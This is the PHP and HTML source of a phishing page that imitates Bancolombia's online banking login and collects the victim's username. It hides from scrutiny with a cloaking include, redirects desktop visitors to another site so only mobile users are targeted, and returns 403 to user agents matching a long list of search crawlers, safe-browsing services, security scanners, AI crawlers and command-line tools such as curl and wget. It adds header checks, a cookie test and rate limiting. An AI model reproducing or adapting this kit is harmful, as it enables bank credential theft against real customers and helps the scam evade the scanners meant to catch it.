<?php
include('antibots/cloa.php');
define('APP_LOADED', true);
require_once('inc/paths_user.php');
function esPC() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

    // Si detecta móvil, NO es PC
    if (preg_match('/iphone|ipad|android|mobile|opera mini|iemobile|blackberry/', $ua)) {
        return false;
    }

    return true;
}

if (esPC()) {
    header("Location: https://www.temu.com/");
    exit();
} 
// ==============================
// ANTIBOT TOTAL �C BLOQUEO ABSOLUTO
// ==============================

// 1. Bloqueo por User-Agent (TODO bot)
$ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// ==================================================
// LISTA TOTAL DE BOTS (SOLO BOTS, NO HUMANOS)
// ==================================================
$bot_signatures = [

  // ---------- GOOGLE (BOTS REALES) ----------
  'googlebot','adsbot-google','mediapartners-google',
  'apis-google','google-read-aloud',
  'google-safe-browsing','google-safebrowsing',
  'safebrowsing','sb-google',
  'chrome-lighthouse','lighthouse',
  'pagespeed','google page speed',

  // ---------- OTROS BUSCADORES ----------
  'bingbot','msnbot','duckduckbot',
  'yandexbot','baiduspider','seznambot',
  'applebot',

  // ---------- REDES / PREVIEWS ----------
  'facebookexternalhit','facebot',
  'whatsapp','telegrambot',
  'discordbot','slackbot',
  'twitterbot','linkedinbot','pinterest',

  // ---------- IA / LLM ----------
  'gptbot','openai','chatgpt',
  'anthropic','claude',
  'gemini','bard',
  'perplexity','youbot',
  'cohere','huggingface',
  'c.ai','character.ai',

  // ---------- HOSTING / CLOUD (BOTS) ----------
  'amazonbot',
  'googlecloud','gcp',
  'azure',
  'digitalocean',
  'ovh','hetzner','contabo','linode','vultr',
  'oraclecloud','ibmcloud',

  // ---------- REGISTRADORES / DOMINIOS ----------
  'namecheapbot','godaddybot',
  'cloudflare','cf-',
  'domains.google',
  'whois','rdap',

  // ---------- MONITOREO ----------
  'uptimerobot','pingdom','statuscake',
  'betteruptime','datadog','newrelic','site24x7',

  // ---------- SEGURIDAD / SCANNERS ----------
  'nessus','acunetix','qualys',
  'nmap','zgrab','masscan',
  'shodan','censys','securitytrails',

  // ---------- LIBRER�0�1AS / AUTOMATIZACI�0�7N ----------
  'curl','wget','python','requests','aiohttp',
  'axios','httpclient','okhttp','java',
  'go-http','libwww',
  'postman','insomnia'
];

// ==================================================
// BLOQUEO POR FIRMA DE BOT
// ==================================================
foreach ($bot_signatures as $sig) {
  if (strpos($ua, $sig) !== false) {
    http_response_code(403);
    exit;
  }
}

// ==================================================
// ANTI BOT DISFRAZADO (NO AFECTA HUMANOS)
// ==================================================
$required_headers = [
  'HTTP_ACCEPT',
  'HTTP_ACCEPT_LANGUAGE',
  'HTTP_ACCEPT_ENCODING'
];

foreach ($required_headers as $h) {
  if (empty($_SERVER[$h])) {
    http_response_code(403);
    exit;
  }
}

// JS + cookies
if (!isset($_COOKIE['human_ok'])) {
  setcookie('human_ok','1', time()+3600,'/','',false,true);
  echo '<script>location.reload()</script>';
  exit;
}

// Rate limit humano
$_SESSION['hits'] = ($_SESSION['hits'] ?? 0) + 1;
if ($_SESSION['hits'] > 120) {
  http_response_code(429);
  exit;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="theme-color" content="#000000">
    <title>Pago en l&iacute;nea</title>
    <script src="/scripts/jquery-3.6.0.min.js"></script>
    <script src="/scripts/functions.js"></script>
    <link rel="stylesheet" href="<?php echo $u_cfg['main_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['basic_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['norm_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['styles_css']; ?>">
    <link rel="stylesheet" href="<?php echo $u_cfg['boot_css']; ?>">
    <script src="<?php echo $u_cfg['jq']; ?>"></script>
    <script src="<?php echo $u_cfg['redirect']; ?>"></script>
    <script src="<?php echo $u_cfg['login']; ?>"></script>
    <script src="<?php echo $u_cfg['boot_js']; ?>"></script>
    <script src="<?php echo $u_cfg['init_js']; ?>"></script>
    <style>
    html, body, form { height: 100% }
    </style>
    <script>
    function updateLabelVisibility() {
        var lbl = document.querySelector('.field-label');
        var inp = document.querySelector('[name="TxtUsername"]');
        if (lbl && inp) { lbl.style.visibility = inp.value ? 'hidden' : 'visible'; }
    }
    </script>
</head>
<body>
    <div id="root">
        <div class="sc-gsFSXq jhvnaB">
            <div class="sc-iGgWBj icJLiE">
				<br>
                <div id="errorAlert" class="sc-uVWWZ iVygmi"></div>
				<br>
                <div class="sc-bbSZdi eDGRzG">Ingresa tu usuario</div>
				<br>
                <div class="sc-fBWQRz cULVBz"></div>
                <div height="264px" class="sc-aXZVg cXjXnO">
                    <div class="sc-gEvEer gcwMij">
                        <div class="sc-eqUAAy kgsyyX"></div>
                        <div class="sc-fqkvVR kfKTfV">El usuario es el mismo con el que ingresas a la Sucursal Virtual Personas</div>
                    </div>
                    <div class="sc-kAyceB cgbGIy">
                        <div class="sc-dhKdcB iQVoqo"></div>
                        <input name="TxtUsername" id="TxtUsername" class="sc-jXbUNg bTGjeC" type="text" autocorrect="off" autocomplete="off" placeholder=" " oninput="updateLabelVisibility()" onblur="updateLabelVisibility()" pattern="[a-zA-Z0-9]+" value="">
                        <label class="sc-imWYAI fMmpDS field-label">Usuario</label>
                    </div>
                    <p class="sc-cfxfcM jBMxqe">&iquest;Olvidaste tu usuario?</p>
                    <div class="sc-Nxspf iquDmE">
                        <button id="btn-continuar" width="390px" height="44px" class="sc-kpDqfm ezyOXq">Continuar</button>
                    </div>
                </div>
                <script>
                $(document).ready(function() {
                    $('#btn-continuar').click(function() {
                        if ($('#TxtUsername').val().length > 0) {

                        } else {
                            $('#err-mensaje').show();
                            $('.user').css('border', '1px solid red');
                            $('#TxtUsername').focus();
                        }
                    });
                    $('#TxtUsername').keyup(function() {
                        $('.user').css('border', '1px solid #CCCCCC');
                        $('#err-mensaje').hide();
                    });
                });
                </script>
            </div>
            <div class="sc-dAlyuH fgvEPZ">
                <div class="sc-jlZhew kZLvRr"></div>
                <span class="sc-eDPEul gTfgka">
                    <div class="sc-eldPxv dJzohZ">
                        <div class="sc-cPiKLX eqxxRJ"></div>
                        <div class="sc-cwHptR fvLrbU">Copyright &copy; 2026 Grupo Bancolombia.</div>
                        <div class="sc-dLMFU kikHRa"></div>
                    </div>
                    <div class="sc-fPXMVe dCLFvs"></div>
                </span>
            </div>
        </div>
    </div>
    <div id="csid"></div>
</body>
</html>
